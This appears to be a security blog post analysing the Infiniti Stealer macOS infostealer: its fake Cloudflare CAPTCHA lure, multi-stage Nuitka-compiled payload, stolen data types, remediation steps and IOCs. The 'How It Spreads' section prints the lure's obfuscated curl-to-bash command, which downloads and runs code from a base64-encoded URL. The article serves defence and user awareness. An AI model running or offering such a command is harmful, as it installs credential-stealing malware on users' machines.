Infiniti Stealer: New macOS Malware Threat

Mac users often assume their devices are immune to sophisticated malware. However, a new threat called Infiniti Stealer has shattered that illusion. This macOS infostealer uses clever social engineering and advanced Python compilation techniques to bypass traditional security measures. Let’s break down how it works and what you can do to protect yourself.

What is Infiniti Stealer?

Infiniti Stealer is a macOS-specific malware designed to steal sensitive data. Unlike traditional malware that exploits software vulnerabilities, it relies on ClickFix—a social engineering tactic that tricks users into running malicious commands themselves. This approach makes it particularly dangerous because it bypasses many standard security defenses.

How It Spreads

The attack begins with a fake CAPTCHA page mimicking Cloudflare’s verification system. The page instructs users to open Terminal and paste a command. For example:

bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))

Once executed, the command downloads and runs a multi-stage payload. This technique, previously seen on Windows, is now being adapted for macOS with platform-specific instructions (e.g., Command + Space to open Terminal).

Technical Breakdown of the Attack

Stage 1: Bash Dropper

The initial payload is a Bash script using templates from known macOS malware like MacSync. Its tasks include:

• Decoding the embedded payload
• Writing the Stage-2 binary to /tmp
• Removing macOS quarantine flags
• Executing the binary and passing C2 server details

Stage 2: Nuitka-Compiled Loader

The second stage is a native Apple Silicon Mach-O binary (~8.6 MB) compiled with Nuitka. This Python-to-C compiler makes static analysis harder by producing optimized native code. The binary contains a zstd-compressed archive (~35 MB) that’s decompressed at runtime.

Stage 3: Python Stealer Payload

The final payload, named UpdateHelper.bin, targets:

• Browser credentials (Chromium, Firefox)
• macOS Keychain entries
• Cryptocurrency wallets
• Developer secrets (.env files)
• Screenshots

Data is exfiltrated via HTTP POST requests. The malware also checks for analysis environments (e.g., any.run, VMware) and introduces random delays to evade detection.

What to Do If Infected

If you’ve pasted suspicious commands into Terminal, act immediately:

1. Stop using the device for sensitive tasks
2. Change passwords on a clean device (email, banking, Apple ID)
3. Revoke API tokens and SSH keys
4. Scan /tmp and ~/Library/LaunchAgents/ for suspicious files
5. Run a full Malwarebytes scan

Remember: No legitimate CAPTCHA requires running Terminal commands. Always verify the source before executing any code.

Protect Your Mac Now

Infiniti Stealer demonstrates how Windows-based attack techniques are evolving for macOS. To stay safe:

• Avoid pasting commands from untrusted websites
• Use a reputable antivirus like Malwarebytes
• Enable two-factor authentication for critical accounts
• Regularly update macOS and security software

Indicators of Compromise (IOCs)

If you suspect an infection, look for these signs:

• MD5: da73e42d1f9746065f061a6e85e28f0c
• SHA256: 1e63be724bf651bb17bcf181d11bacfabef6a6360dcdfda945d6389e80f2b958
• C2 domain: update-check[.]com
• Debug log: /tmp/.bs_debug.log

Stay vigilant. Cybercriminals are constantly adapting their tactics. Protect your Mac with proactive security measures today.